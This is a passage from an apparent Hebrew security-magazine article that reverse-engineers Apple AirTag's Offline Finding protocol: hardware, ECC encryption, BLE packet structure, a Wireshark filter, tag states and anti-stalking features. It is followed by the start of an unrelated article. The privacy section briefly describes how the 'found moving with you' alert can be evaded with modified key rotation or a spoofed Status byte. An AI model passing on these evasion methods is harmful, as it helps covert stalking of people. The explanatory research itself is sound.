- חיישן NFC, של חברת NXP – מאפשר את סריקת התגית. במקרה של אובדן התגית, סריקה תוביל להודעה שהבעלים יכול להשאיר.
- Accelerometer - חיישן תאוצה באמצעותו תגית ה-AirTag יודעת שהיא בתנועה, וכך תוכל לשנות את המצב בו היא נמצא (נעשה שימוש בחיישן הזה באחד ממנגנוני הפרטיות ש-Apple יישמה, על כך בהמשך).
- רמקול – ניתן להשמיע צליל בתגית על מנת לאתר אותה ביתר דיוק. אפשר לעשות זאת עבור תגית שבבעלותנו או כזאת שלא, אם היא חשודה כעוקבת אחרינו (על כך בחלק "פרטיות ב-AirTag")
- בטרייה – מסוג CR2032, בטריית ליתיום "כפתור" סטנדרטית, הניתנת להחלפה על ידי המשתמש. הבטרייה יכולה לשמש את ה-AirTag זמן של בערך שנה, עבור שימוש ממוצע.

[קרדיט: Apple AirTag Reverse Engineering]

לאחר שהכרנו כיצד ה-AirTag בנוי פיזית, נדבר על הקסם האמיתי מאחורי הקלעים, שמאפשר לבנות אותו בצורה כה מינימלית ולייצר אותו בתפוצה כה רחבה, אך עם זאת לאפשר גם כיסוי נרחב ומעקב בצורה מדויקת וזמינה, והוא הפרוטוקול שלו - הנקרא "**Offline Finding**".

Offline Finding Encryption

מנגנון הצפנה שילווה אותנו הרבה בתיאור הפרוטוקול הוא הצפנה א-סימטרית.

נעבור על הסכמה הבאה שתייצג לנו בצורה מופשטת את צורת תקשורת ה-AirTag:

כעת נסביר בפשטות, ובהמשך ניכנס לפרטים הקטנים: תגית ה-AirTag מפרסמת את המפתח הפומבי של המשתמש כל interval זמן מסוים. המפתח הפומבי משודר על גבי פקטות BLE, אותן קולטים המכשירים המשתתפים ברשת ה-FindMy, כדוגמת מכשירי Iphone ו-MacBook שנמצאים בסביבה.

המכשיר שמשתתף ברשת (מעתה נקרא לו המכשיר "המאתר") לוקח את המפתח הפומבי שקיבל מתגית ה-AirTag, לאחר מכן מצפין את **המיקום הנוכחי שלו** (לא זה של התגית, וזאת הסיבה שמדובר במיקום גס) בנוסף ל-Timestamp הנוכחי.

לאחר מכן, המכשיר המאתר שולח את התוכן המוצפן לשרתים של Apple. אותו התוכן יהיה זמין לאחר מכן לבעלי התגית, שיקבל אותו מהשרתים של Apple, יפענח אותו באמצעות המפתח הפרטי שלו – וכך יוכלו לגלות את מיקום התגית. שימו לב שמיקום התגית מוצפן **מקצה לקצה** (EndToEnd Encrypted) ולא יהיה זמין אפילו ל-Apple במהלך שהותו על השרתים שלהם, וזאת באמצעות הצפנה א-סימטרית.

אך כיצד המפתח הפומבי מגיע בכלל אל תגית ה-AirTag, וכיצד המיקום מוצפן בעזרתו?

Elliptic Curved Encryption

המפתח הפומבי מגיע אל תגית ה-AirTag בתחילת השימוש בו, והוא "תהליך הצימוד" – בו מתבצעת העברת המפתחות בין מכשיר הבעלים של התגית לתגית עצמה באמצעות שבב ה-NFC שנמצא בשני המכשירים. אך לפני שנתאר את תהליך החלפת המפתחות, עלינו להבין את סוג ההצפנה שעומדת מאחורי תגית ה-AirTag: והיא ECC P-224.

ECC הינו קיצור של "Elliptic curve encryption". מדובר בהצפנה א-סימטרית מסוג קצת שונה מזאת שאנחנו מכירים מחיי היומיום (לדוגמה RSA), והיא הצפנה מסוג עקום אליפטי.

"הצפנת עקום אליפטי היא שיטת הצפנה אסימטרית העושה שימוש במבנה האלגברי-גאומטרי הנקרא עקום אליפטי מעל שדה סופי גדול, למימוש מערכת כגון פרוטוקול דיפי-הלמן" ויקיפדיה

לא ניכנס לעומק כיצד הצפנה זו עובדת, ניתן לקרוא יותר בפירוט במאמר הצפנה מבוססת עקומים אליפטיים של גדי אלכסנדרוביץ' שפורסם גם הוא במגזין, אבל נסביר זאת כך בקצרה: אם RSA נשען על כך שקשה מאוד לפרק מספר לשני הגורמים הראשוניים שלו, הצפנת ECC מבוססת על כך שקשה מאוד לחשב את האלגוריתם הדיסקרטי בעקום אליפטי (לא להיבהל, זה יהיה המשפט הכי מסובך שתקראו פה). להסביר את ההצפנה במלואה לא תהיה משימה קלה, ומכיוון שתוכן המאמר אינו מתמטי, לא נפרט על התיאוריה שמאחוריה; אלא נדבר על היתרונות שלה:

- מפתח קטן יותר משמעותית מ-RSA, עם רמת אבטחה כמעט זהה. לדוגמה, מפתח ECC עם 28 בתים (224 ביטים) יהיה שקול למפתח RSA עם 256 בתים בקירוב.
- מהיר משמעותית ביצירת המפתחות מאשר RSA (פי כמה עשרות).
- מצריך פחות כוח חישוב ליצירת המפתחות – חסכוני באנרגיה.

ניתן לראות שהיתרונות הללו מתאימים בדיוק לצורך של רכיבי IOT הדלים בכוח עיבוד וזיכרון, כדוגמת תגית ה-AirTag שלנו. גודל המפתח הקטן מאפשר חיסכון בזיכרון ותעבורה רזה משמעותית שפרוטוקול ה-BLE יתמוך בו. בנוסף, המהירות בה נוכל לחשב מפתחות חדשים תעזור לנו לשימוש יעיל על החומרה החלשה שלרשותנו. שמענו בעיקר על היתרונות של ECC. שאלה שיכולה לעלות בעקבות כך היא: אז למה לא כולם משתמשים בהצפנה בה אלא ב-RSA? נענה על כך בקצרה: RSA ותיק יותר (משנות ה-70) ו-ECC נכנסה לשימוש מסחרי רק מאוחר יותר (תחילת שנות ה-2000) כלומר הוא יחסית חדש, אז RSA הספיק להיות ברירת המחדל בתשתיות רבות. בנוסף לכך, מימוש ECC נתון יותר לשגיאות ביישום בגלל התיאוריה היחסית מורכבת מאחוריו, מה שמוביל לעוד סיבה בה אנשים מעדיפים להישאר ב-RSA: יותר קל להבין אותו. אחרי המקרה של Dual_EC_DRBG, מחולל מספרים אקראיים מבוסס עקום אליפטי גם הוא בו ה-NSA דחפה לשימוש למרות החולשתיות שבו (בשביל שיהיה לה קל יותר בשבירת הצפנות), אמון הציבור בתקופתו פחת באלגוריתמים כאלו, וניכרה ההעדפה להישאר באלגוריתמי הצפנה מוכרים.

תקשורת ב-AirTag

כעת אחרי שסקרנו את המבנה הפיזי של ה-AirTag, הגיע הזמן שנצלול אל הצורה בה הוא מתקשר. נתחיל בדרך של Blackbox, ונסניף את תעבורת ה-AirTag.

בשביל להסניף תעבורת BLE בכרטיס בלוטות' רגיל שנמצא בלפטופ שלנו לא מספיק, ולשם כך ניעזר במודול BLE חיצוני של חברת Nordic מדגם nRF52840 (אותה החברה שמייצרת את חיישן ה-BLE עבור Apple), אך גם מודול תואם של חברה אחרת יעשה את העבודה. אחרי שנתקין את הדרייבר עבור החיישן, יהיה זמין עבורנו כרטיס רשת חדש כשנפתח את Wireshark.

נתחיל להסניף על כרטיס הרשת החדש, וכבר יתגלו מולנו כמויות עצומות של מידע, שרובו כלל לא קשור ל-AirTag:

נראה שאיתור פקטות ה-AirTag שלנו בהסנפה יצריך אותנו לדעת קצת יותר על מבנה ההודעות שלו ☹️. אך אל דאגה, נרחיב על כך כעת.

ל-BLE ישנם שתי סוגי הודעות המשמשות להעברת מידע: אחת מסוג "Advertising Packet" שהיא למעשה הודעת Broadcast שמטרתה להכריז על נוכחות המכשיר ("Beaconing"), כאשר גודל ההודעה המקסימלי הוא 37 בתים - כאשר 31 בתים מהם יהיו ה-Payload שיכיל את תוכן ההודעה. הסוג השני של ההודעה היא " Data Packet", בה ניתן לעשות שימוש לאחר שהושג חיבור BLE מול מכשיר נוסף, והיא תומכת בהעברת מידע בכמות גדולה יותר.

בשידור מפתח פומבי של מכשיר ברשת FindMy, Apple עושה שימוש ב-Advertising Packet.

מתוך 31 הבתים הפנויים עבור ה-Payload, Apple מכניסה **9** בתים של Metadata משלה (הם מכילים אינדקציות לגבי סטטוס המכשיר והיצרן), כלומר כעת נשארנו עם רק **22** בתים פנויים לכתיבת תוכן, ועלינו לפרסם מפתח פומבי בגודל **28** בתים. אבוי! מה נעשה עם 6 הבתים הנותרים?

בשביל לענות על הדרישה, Apple החליטה לדרוס את שדה ה-Mac עם 6 הבתים הראשונים של המפתח הפומבי, ובכך להרוויח עוד מקום.

שימו לב שבשל כך נעלמה יכולת הזיהוי של התגית - לא ניתן יהיה לדעת אם תגית מסוימת נמצאת בחדר בהינתן הסנפת BLE, כי כל המזהים - כתובת ה-Mac של השולח והמפתח הפומבי, משתנים תדיר במהלך היום.

אנקדוטה: ישנו פרויקט הנקרא "Send My" שמטרתו להעביר מידע לבחירת המשתמש באמצעות רשת Find My, ובכך לאפשר יציאה לאינטרנט לכל רכיב בעל חיישן BLE שנמצא בסביבת מכשירי Apple - וזאת על ידי ניצול את המכשירים המאתרים המשתתפים ברשת. הפרויקט עושה שימוש ב-OpenHayStack בשביל להרכיב הודעות Find My זדוניות, ובאמצעות שינוי המפתח הפומבי הפרויקט מקודד מידע לבחירתו.

[מקור: Track You: A Deep Dive into Safety Alerts for Apple AirTags]

נסתכל על הסרטוט הבא שמייצג את מבנה הודעת ה-Advertisement שה-AirTag משדר:

ערך ה-**Company ID** יעיד על החברה שייצרה את המכשיר (0x004C עבור Apple),

ערך ה-**of_type** - קיצור של offline finding, יעיד על סוג השירות המבוקש על ידי המכשיר המשדר (0x12 עבור שירות מסוג FindMy, או 0x07 כאשר התגית עוד לא עברה תהליך צימוד).

שדה ה-**Status** יעיד על סוג המכשיר: Iphone\Ipad\AirPod\מכשיר תואם אחר ועל מצב הבטרייה שלו.

לדוגמה, ערך של 0x10 יעיד על AirTag עם בטרייה מלאה, וערך של 0x50 יעיד על בטרייה במצב בינוני.

פענוח הודעת AirTag

כעת, נחזור ל-Wireshark ונבנה פילטור על מנת למצוא את פקטות ה-AirTag שלנו ולנתח אותן יחדיו. יש לכם כבר רעיון איך נעשה זאת?

[ילדים, למישהו יש רעיון ל-Display Filter שיציג את פקטות ה-AirTag?]

ישנן כמה דרכים לגשת לעניין, האחת שמצאתי קלה יותר היא לפלטר רק על פקטות ששודרו על ידי מכשיר Apple – בעזרת השדה "Company ID" , כאשר הערך של Apple הוא 0x004c. כעת נפלטר עבור סוג השירות הספציפי שלנו, בשביל לנקות רעש מפרוטוקולי BLE אחרים של Apple (כדוגמת iBeacon או AirDrop), נוסיף את סוג השירות המבוקש: מסוג FindMy, שהערך 0x1219 מייצג אותו. סוג השירות מצוין תחת ה-Metadata ש-Apple הוסיפו ל-Payload של פקטת ה-BLE. נשלב את הכל, ונקבל את ה-Display Filter הבא:

```
btcommon.eir_ad.entry.company_id == 0x004c && btcommon.eir_ad.entry.data[0:2]
== 12:19
```

אחרי שהרצנו את הפלטור, מוצגות לנו פקטות השייכות ל-AirTag 😊

שימו לב שגודל הפקטות הוא 37 בתים, כמו שהזכרנו קודם. נבחר פקטה אחת לדוגמה, וננתח את הערכים שלה. עבור הודעת ה-BLE הבאה:

```
0x06 0x38 0x00 0x03 0x6a 0x64 0x02 0x0a 0x01 0x26 0x55 0x00 0x00 0x77 0x39 0x7a
0x99 0xd6 0xbe 0x89 0x8e 0x60 0x25 0x6a 0xc2 0x0a 0xe3 0x00 0xc4 0x1e 0xff 0x4c
0x00 0x12 0x19 0x50 0x39 0x71 0x09 0x18 0xd6 0x6e 0xfd 0xf9 0x3d 0x06 0x00 0xed
0x42 0x03 0x17 53 0x94 0xe0 0x02 0xb0 0xc4 0x94 0x02 0xaa 0x31 0x88 0xaf
```

נקבל את הערכים הבאים:

Company ID: **Apple** (0x004c) [index 30-31]

Protocol Type: **FindMy Network** (0x1219) [index 32-33]

Status Byte: 0x50 – **AirTag with Medium Battery Level** [index 34]

Encrypted Public Key (22 bytes): **0x397109118d66efdf93d0600ed420317539e402b0**

AirTag States

כעת נסביר על המצבים השונים בהם AirTag יכול להימצא (States), כאשר בהתאם לכך ישתנו הערכים בהודעות ה-Broadcast אותן הוא משדר, בנוסף ל-interval השידור:

Unpaired – מצב ברירת המחדל לפני תהליך ההצמדה. במצב הזה תגית ה-AirTag תשדר פקטות BLE עם כתובת ה-MAC הדיפולטית שלה וחלק מה-HASH של המספר הסריאלי שלה כל 33 מילישניות, על מנת למצוא מכשירים תומכי FindMy לבצע צימוד איתם ("קריאת הזיווג" של התגית).

Connected – התגית נמצאת בטווח ה-BLE של מכשיר הבעלים: במצב זה היא נמנעת מלפרסם את המפתח הפומבי שלה.

Nearby – מצב קצר בזמן בו התגית יכולה להימצא בו עד 15 דקות בקירוב. הוא מתחיל ברגע שהתגית יוצאת ממצב Connected (מאבדת חיבור עם מכשיר הבעלים). במצב זה התגית עדיין אינה זמינה לאיתור באמצעות רשת FindMy, שכן היא עוד לא משדרת את המפתח הפומבי המלא שלה.

Disconnected – אחרי מצב Nearby, התגית נכנסת למצב של "ניתוק". במצב זה התגית משדרת פקטת BLE עם המפתח המלא כל 2 שניות, מה שמאפשר למכשירים בסביבה להעלות את המיקום שלה לשרתים של Apple. אם תגית נמצאת במצב הזה יותר משלושה ימים, או שהבעלים מסמן אותה בצורה ידנית במצב זה באפליקציית FindMy, מכשירים תומכים שיסרקו אותה יציגו הודעה אותה הגדיר הבעלים, שמטרתה לעזור לו למצוא את החפץ האבוד.

לפני כמה שנים הייתי בסקי, ועלה איתי מישהו למעלית. במהלך הנסיעה, כשהיינו בגובה רב – מכשיר ה-Iphone שלו נפל אל תוך השלג. הוא ידע איפה הוא נפל, אבל כשחזר לשם אחרי שירד מהמעלית, הטלפון כבר לא היה שם.

זה היה ברור שהוא נלקח, והשאלה הייתה האם נלקח בשביל להחזיר לו אותו או שהוא נגנב.

עבר יום, והוא עדיין לא מצא אותו, ולצערו הרב מי שלקח אותו הכיר את יכולת האיתור מבוססות אינטרנט באמצעות Find My Iphone, לכן גם דאג לכבות אותו. אך מה שהוא לא ידע, שסמוך לאותו הזמן Apple הורידה עדכון שמאפשר את הפונקציונליות של איתור offline עבור אייפונים, ולכן אפילו שהמכשיר הגנוב היה כבוי - הוא עדיין שידר פקטות BLE של Offline Finding, שנקלטו על ידי מכשירי Apple אחרים בסמוך.

הוא הצליח לאתר את האייפון ברזולוציה כמעט מדויקת, והיה לו את הכתובת של המלון.

הוא פנה למשטרה והגיע ביחד עם השוטרים לקבלה של המלון. הגנב, שבמקרה חזר לחדר שלו ועבר על פניהם, נבהל ממראה השוטרים, עלה לחדר – והחזיר לו את הטלפון.

איזה מזל שהוא הוריד את עדכון התוכנה בזמן 😊

כעת, נתאר מבחינה טכנית את מה שקרה מאחורי הקלעים באותו אירוע. שימו לב שבמאמר אנחנו מדברים על תגית AirTag – אבל כמו שהזכרנו בתחילת המאמר, מדובר באותו הפרוטוקול בדיוק גם למכשירי Apple אחרים, ואפילו למכשירים ש-Apple לא יצרה - אלא רק תומכי FindMy.

רצף האירועים

מהרגע שהמכשיר מתנתק ממכשיר הבעלים (נכנס למצב Disconnected) הוא מתחיל לשדר הודעות מסוג Lost, שמכילות את המפתח הפומבי המתגלגל שלו (rotating public key) שנגזר מהמפתח הפומבי שקיבל מהמכשירים הבעלים בעת תהליך ה-Pairing. המפתח משתנה כל 15 דקות ומשודר כל 2 שניות. ערך המפתח נגזר מהמפתח המקורי באמצעות פונקציית גזירת מפתח (KDF).

איך כיצד המפתח הפומבי מגיע בכלל אל ה-AirTag? זה קורה בתהליך ה-Pairing, בו אנחנו מצמידים את ה-AirTag החדש ל-Iphone\Ipad שלנו: ובאמצעות שבב ה-NFC אנחנו מעבירים את ה-"Master Public Key", המפתח הפומבי הראשון ממנו יגזרו כל שאר המפתחות הפומביים שה-AirTag ישדר במהלך חייו. שימו לב שגם ה-Master Public Key מוגדר כסוג של סוד, מכיוון, כמו שנראה אחר כך, ברגע שהוא ידוע – ניתן יהיה לחשב את כל המפתחות שיגזרו ממנו, וכך לבקש את כל המיקומים של אותו ה-AirTag מהשרתים של Apple. מכיוון שכך הדבר, גם ה-Master Public Key מועבר מעל תווך "מוצפן" (התקשורת מוצפנת בעזרת ערך ידוע מראש שמוגדר hardcoded ב-firmware של ה-AirTag ומכשיר הבעלים, ובנוסף לכך מתבצעת החלפת מפתחות).

כעת נחכה עד שיהיה מכשיר שתומך ברשת FindMy בסביבה. מהרגע שזה קורה, וכנראה אחרי לא הרבה זמן (בכל זאת, רשת עם מעל מיליארד משתתפים), "המכשיר המאתר" קולט את שידור ה-BLE מסוג Lost, ומחלץ ממנה את המפתח הפומבי.

לאחר מכן, **מיוצרים בצד של המכשיר המאתר** צמד מפתחות (פרטי ופומבי) א-סימטריים נוספים מסוג ECC P-224. נקרא להם מפתחות "זמניים" (Ephemeral) כעת מבוצע ECDH – "Elliptic curve Diffie Hellman" באמצעות המפתח הפרטי החדש שנוצר והמפתח הפומבי שהתקבל מה-AirTag, בשביל לייצר מפתח חדש (נקרא לו "הסוד המשותף").

Diffie Hellman הוא פרוטוקול שיתוף מפתחות המאפשר לשני צדדים לקיים תקשורת מאובטחת מעל תווך לא מאובטח. הוא עושה זאת באמצעות יצירת שני מפתחות א-סימטריים בשני הצדדים המתקשרים, והחלפת מפתחות פומביים בין השנים. לאחר מכן הם יכולים לסכם על סוד משותף, כדוגמת מפתח הצפנה סימטרי, ולהעביר אותו בין הצדדים, בלי שגורם המצוטט לשיחה יקלוט אותו. למי שרוצה להבין יותר טוב את הנושא של הצפנה מקצה לקצה מוזמן לקרוא את המאמר המרטיט של עידן שכטר.

נסכם את ה-ECDH שמתרחש כך: המפתח הפרטי החדש שנוצר מוצפן באמצעות המפתח הפומבי של ה-AirTag (ב-Elliptic Curve זה עובד עם הכפלת נקודות, אבל נסכם את זה בתור הצפנה)והמפתח הפומבי החדש שנוצר מצורף לדיווח המיקום אותו יקבל הבעלים בהמשך. כעת קיבלנו "סוד משותף" שמורכב מהמפתח הפרטי הזמני ומהמפתח הפומבי של ה-AirTag.

כעת מופעלת הפונקציה לגזירת מפתח Ansi x.963 KDF, כאשר המפתח הפומבי של ה-AirTag הוא ה-Entropy ו-sha-256 היא פונקציית הגיבוב, וכך קיבלנו **מפתח סימטרי חדש**, שנגזר מאותו "סוד משותף".

לאלה מאיתנו שלא עקבו עד כה – עם קצת מתמטיקה, המיקום מוצפן בעזרת מפתח סימטרי שנגזר מהמפתח הפומבי של ה-AirTag.

סוף סוף יש לנו מפתח שבעזרתו נוכל להצפין את המידע! איך רגע, עוד לא סיימנו. מה בדיוק אנחנו מצפינים? המכשיר המאתר מרכיב הודעה שנקראת Location Report" שמכילה מידע חשוב אודות המיקום, לדוגמה:

- נקודת ציון נוכחית (latitude + **Longitude**)
- זמן נוכחי (Timestamp)
- רמת וודאות במיקום (Accuracy)
- המפתח הפומבי הזמני שנוצר במכשיר המאתר

[מקור: Security and Privacy of Apple's Crowd-Sourced Location Report]

כאשר בעלי המכשיר יקבל את הדיווח על המיקום, הוא יפענח אותו בעזרת הפעולה ההפוכה: הוא יבצע Diffie Hellman עם המפתח הפומבי הזמני שקיבל מהדיווח והמפתח הפרטי של ה-AirTag, וכך הוא יחשב את המפתח הסימטרי בעזרתו הוצפן הדיווח.

המכשיר המאתר לא ימהר לשלוח את הדיווח לשרתים של Apple ברגע שהוא מרכיב אחד, אלא יעדיף לשלוח אותם בקבוצות (Batch), בשביל לחסוך בבטרייה ובנפח תעבורה. ממחקרי מהנדסה לאחור שבוצע לפרוטוקול ה-Offline Find (ספציפית זה של אוניברסיטת Darmstadt) נמצא שהזמן החציוני מהרגע שהדוח מורכב עד שהוא נשלח ל-Apple הוא 26 דקות, ויכולות לעבור אפילו כמה שעות אם המכשיר המאתר נמצא במצב חיסכון סוללה.

כלומר, נעשה פה שיקול מצד Apple בכל הנוגע לחיסכון בסוללה ותקשורת נתונים מצד המכשירים המאתרים (לאלה מאיתנו שמתעצבנים על הכפייה להשתתף ברשת)

כל Report כזה שמועלה לשרתים של Apple מועלה עם **מזהה**. אותו מזהה מורכב מערך ה-sha-256 של המפתח הפומבי המתגלגל שה-AirTag שידר, שנגזר מה-public master key שהועבר ממכשיר הבעלים בתהליך הצימוד.

בשביל להעלות דיווח, המכשיר המאתר מבצע בקשת POST ל-Endpoint הבא:

```
https://gateway.icloud.com/acsnservice/submit
```

כעת, בשביל לקבל דיווח, על מכשיר הבעלים לחשב את ערכי ה-sha-256 האפשריים עבור ה-AirTag שלו (הרי גם לו ידוע ה-public master key) ולתשאל עבורם את השרת. הוא יקבל בחזרה את ה-Reportים המוצפנים, אותם הוא יכול לפענח בעזרת המפתח הפרטי שבבעלותו, והמפתח הפומבי שנמצא בדיווח.

בשביל לקבל דיווחים, מכשיר הבעלים מבצע בקשת POST ל-Endpoint הבא:

```
https://gateway.icloud.com/acsnservice/fetch
```

נדגים זאת בסרטוט הבא, שמייצג פענוח Location Report על ידי מכשיר הבעלים:

שימו לב מה קרה כאן – המידע מוצפן **מקצה לקצה**, ורק הבעלים של המכשיר יוכל לפענח אותו באמצעות ה-Private key שמאוחסן אצלו, וגם Apple או רשויות החוק לא יהיו זמינים למידע הזה. אך רגע, אם הצמדתי את ה-AirTag שלי במכשיר אחד, אני עדיין אוכל לאתר אותו במכשיר אחר בבעלותי! איך קורה הדבר?

ובכן, אותו מפתח פרטי "סודי" שיצרנו בתחילת התהליך לא מאוחסן רק על גבי מכשיר הבעלים, אלא גם מסונכרן ל-**iCloud Keychain** ששייך ל-Apple ID אתו אנחנו מחוברים למכשיר.

iCloud Keychain הוא מאין "מחזיק מפתחות" וירטואלי, בו מאוחסנים הסודות ששמרנו במכשירי ה-Apple שלנו, כדוגמת שמות המשתמש וסיסמה לאתרים, כרטיסי אשראי, סיסמאות Wifi, Root certificates ומפתחות פרטיים כדוגמת אלה שמשמשים אותנו ל-Offline Finding. כל הערכים השמורים תחת הכספת הזאת (שנמצאת ב-iCloud, הענן של Apple) גם הם מוצפנים מקצה לקצה באמצעות מפתח ייחודי, שנמצא רק במכשירים שבבעלותנו.

כעת, כאשר הבעלים של המכשיר יפתח את אפליקציית FindMy ויבחר במכשיר הנאבד, הוא יחשב את ערכי המפתחות האפשריים לקבלת ה-Reportים מהשרת באמצעות ה-public key שבבעלותו ובבעלות ה-AirTag, וזה יחזיר לו בתשובה את רשימת ה-Reportים. ניתן לקבל מהשרתים של אפל את היסטורית המיקומים עד **שבוע אחורה** (Fun fact, המידע הזה לא זמין דרך אפליקציית FindMy, אבל כן דרך תשאול ה-API של iCloud - כך ניתן להרכיב ככה גרף מלא של תזוזת המכשיר, ולהסיק מידע מעניין נוסף כדוגמת מקומות שהיו בביקור באופן קבוע). בפועל יוצג לנו באפליקציית FindMy המיקום האחרון שבו אותרה התגית, בחישוב גס. לאחר שנתקרב מספיק אל התגית, בשאיפה נהיה בטווח ה-UWB (Ultra Wide Band) שהוא בין 10 ל-30 מטרים, ואז נוכל לקבל הוראות הכוונה ישירות אל המכשיר (במידה ואנחנו מחזיקים במכשיר תומך, אייפון 11 ומעלה).

וזהו, מצאנו את ה-AirTag שלנו 😊

[קרדיט: מחזיק המפתחות שלי]

פרטיות ב-AirTag

ניכר ש-Apple השקיעו הרבה מחשבה בפרטיות במהלך תכנון ה-AirTag. זה מתחיל עוד מתכנון הפרוטוקול - שכולל החלפת מפתחות קבועה שמונעת איתור של תגית על ידי גורמים המאזינים ברקע, ועד להצפנה מקצה לקצה שמונעת מ-Apple עצמה לגשת אל המיקומים. אך מה לגבי פרטיות של אנשים שכלל לא קנו תגית AirTag, ויכולים ליפול קורבן למעקב?

ובכן, במהלך השנים האחרונות קרו לא מעט מקרים בהם אנשים נעקבו באמצעות התגיות האלו, מה שהוביל לתביעה כנגד Apple על ידי חלק מהקורבנות. בעקבות מקרים כמו אלו, Apple הוסיפה במהלך השנים מנגנוני אבטחה שנועדו לשמור עלינו מפני מעקב לא רצוי.

1. "AirTag Found Moving With You" כנראה המנגנון הכי יעיל. כאשר תגית ה-AirTag נמצאת במצב Disconnected, המכשיר שבבעלותנו (בין אם אחד של Apple או אפילו Android) יזהה אם התגית זזה ביחד איתנו למשך מספר שעות, או הגיעה איתנו למיקום שאנחנו מגיעים אליו הרבה (לדוגמה הבית) ויציג את ההתראה לאחר מספר דקות, כולל את היסטוריית המיקומים שהתגית עקבה אחרינו. זה אכן מנגנון עוצמתי, אבל ניתן לעקיפה על ידי שינוי המפתח הפומבי שמשודר. ניתן לעשות זאת באמצעות מכשירים דמויי AirTag שמנצלים את פרוטוקול FindMy: הם יריצו תוכנה אחרת כדוגמת OpenHaySTack, פרויקט Open Source שמשתמש ברשת ה-Offline Finding של Apple, ונותן לנו שליטה מלאה על המידע המשודר, כדוגמת תוכן המפתח. בנוסף, נמצא שאם נערוך את שדה ה-Status של פקטות ה-BLE שמשודרות במצב Disconnected להיות שונה מזה של AirTag או AirPods, ההודעה לא תופיע - מנגנון האבטחה הזה מופעל רק אם המעקב מתבצע על ידי אחד משני אלו, ולא על ידי Iphone או מכשיר לא מזוהה אחר.

2. ניגון צליל – לאחר שתגית ה-AirTag סומנה ככזאת חשודה, ניתנת האופציה ב-IOS לגרום לה לצפצף. האפשרות הזאת מתאפשרת גם באפליקציית "Tracker Detect" ש-Apple פרסמה ל-Android, אפליקציה שפותחה על ידם לאחר הלחץ הציבורי שהופעל עליה בעקבות מקרי המעקב שנעשו באמצעות תגיות ה-AirTag.
3. ניגון צליל אוטומטי – בשביל לשפר זיהוי תגיות חשודות גם עבור אנשים שלא מסתובבים עם מכשיר נייד, לאחר שלושה ימים שהתגית רחוקה מבעליה היא תיכנס ל-"Lost Mode". במצב זה, התגית תנגן צליל כל 6 שעות במהלך תנועה (מזוהה באמצעות חיישן ה-Accelerometer).

סיכום

כולנו יכולים להסכים על כך שתגיות ה-AirTag הן דבר מאוד שימושי. הן יכולות לעזור לאתר את המזוודה האבודה בשדה התעופה, את חיית המחמד שברחה, את צרור המפתחות ששוב שכחנו, או אפילו את שלט הטלוויזיה שנעלם באחת הספות - הן פשוטות לשימוש, זולות ומדויקות.

אך דווקא בגלל היתרונות האלה, זה הופך אותן לכלי מסוכן בידי גורמים עוינים. אם בעבר מעקב אחרי בן אדם ברמת דיוק שכזאת היה מתאפשר רק על ידי גופי אכיפת חוק או בילוש, כעת כל אדם עם 30 דולר יוכל לרכוש תגית כזאת ולעקוב אחרי מי שירצה. כמובן שישנם מנגנוני אבטחה שנועדו למנוע זאת, אך גם אותם אפשר לעקוף עם מספיק מוטיבציה.

למרות זאת, אני באופן אישי שמח שקונספט ה-Offline Finding נמצא איתנו, ואומנם Apple היא לא זאת שהמציאה אותו, אבל כמו חידושים רבים שהיא הביאה לעולם – היא זאת שגרמה לו לעבוד כל כך טוב, והיא זאת שסחפה יצרנים אחרים לבוא אחריה, וכעת אי אפשר יהיה להתעלם מזה.

אני חושב שהיתרונות של תגית ה-AirTag עולים על החסרונות ללא ספק, והאופן בו התגית הקטנטנה הזאת בנויה, ועוד יותר מכך – הצורה בה היא מתקשרת, פשוט ראויים להערצה 😊 .

מקורות מידע

- Blind My — An Improved Cryptographic Protocol to Prevent Stalking in Apple's Find My Network
- Who Can Find My Devices? Security and Privacy of Apple's Crowd-Sourced Bluetooth Location Tracking System
- Track You: A Deep Dive into Safety Alerts for Apple AirTags
- Dissecting the Encryption Protocols Inside Apple AirTags
- Apple AirTag Reverse Engineering

I Need a Hero

מאת שי גילת

הקדמה

לאחרונה קראתי ספר בשם The Art Of Not Giving A Fuck. למרות שהספר לא קשור ישירות לנושאים שאני בדרך כלל כותב עליהם, הרגשתי שלפני כל הרעיונות האחרים שהיו לי, הספר מעלה כמה נקודות חשובות שלרוב מפספסים אותם בתחומים הטכנולוגיים השונים, גם אצל כאלו שרק מתחילים, וגם אצל מנוסים, שיכולים להביא הרבה מאוד ערך בתהליך העבודה.

הספר מתחיל מתיאור של עקרון חשוב שאומר לנו מה היא מטרה/תקווה. זה יכול להיות רלוונטי לכל תחום עיסוק, פרויקט או רצון שיש לנו בחיים.

תקווה או מטרה הן אמונות ש:

א. יש אפשרות להתפתחות וגדילה בעתיד בעקבות כיוון או דפוס חשיבה מסוימים

ב. יש דרכים שנוכל לקחת את עצמינו דרכן כדי להגיע למטרות האלו

ברגע שיש לנו את תוכנית התקיפה להשגת המטרה הזו במוח, נוכל להתחיל לפעול ולהתקדם בצורה שתקדם אותנו לכיוון אותה מטרה מבלי לחשוב יותר מדי בזמן תהליך העבודה.

בנוסף ל-"איך" נגיע למטרה ול-"מה" אנחנו מכוונים ורוצים להגיע, יש עוד מילת שאלה שנרצה להתייחס אליה - "למה".

בין אם זה פרויקט אישי או מטרה משמעותית בעבודה, ה-"למה" צריך לעקוב אחרינו כל הזמן, בסופו של דבר יש לנו מטרה סופית שנרצה להגיע אליה ולאורך כל תהליך העבודה אחד מהדברים הכי חשובים הוא לשאול את ה-"למה": מה הייתה המטרה של ביצוע הפרויקט הזה? מה הוא תורם יותר high-level-ית בשבילי ובשביל אחרים? למה הצעד שאני לוקח כרגע מתקשר לאותה מטרה עליונה?

בתור חוקרים ואנשי תוכנה הרבה פעמים נכנסים לכיוון מסוים וקורעים אותו עד הסוף, שמצד אחד יכול להוביל להשתפרות בסיבולת עבודה מאתגרת, חשיבה על כיוונים יצירתיים ומה שנקרא "התפסטנות".

מצד שני, המטרה הסופית שלנו היא לא לעשות קשר דייגים כפול - אלא למצוא דרך שהקירות של הבקתה לא יקרסו לתוך עצמם בלילה גשום.

גם את מבנה המטרה הזאת צריך לנתח ולפרק לגורמים כדי להבין טוב יותר מה אנחנו עושים, התקווה, ה-"למה" שאנחנו רודפים אחריו שיעזור לנו לעבור שלב שלב, לבצע שינויים בתכנונים שלנו ואולי להחליף פתרונות קיימים בפתרונות חדשים שמתאימים יותר למטרה.

זה מצריך כמה דברים:

1. מטרה/תקווה שבנויה וממופה בצורה הכי אופטימלית שאפשר. כלומר, תיאור בשלבים הכי קטנים של הצעדים שנרצה לקחת כדי להתקרב למטרה הסופית שלנו, בין אם זה להשיג יכולת מסוימת, להריץ קוד על רכיב או למקסם את איכות השינה שלנו.

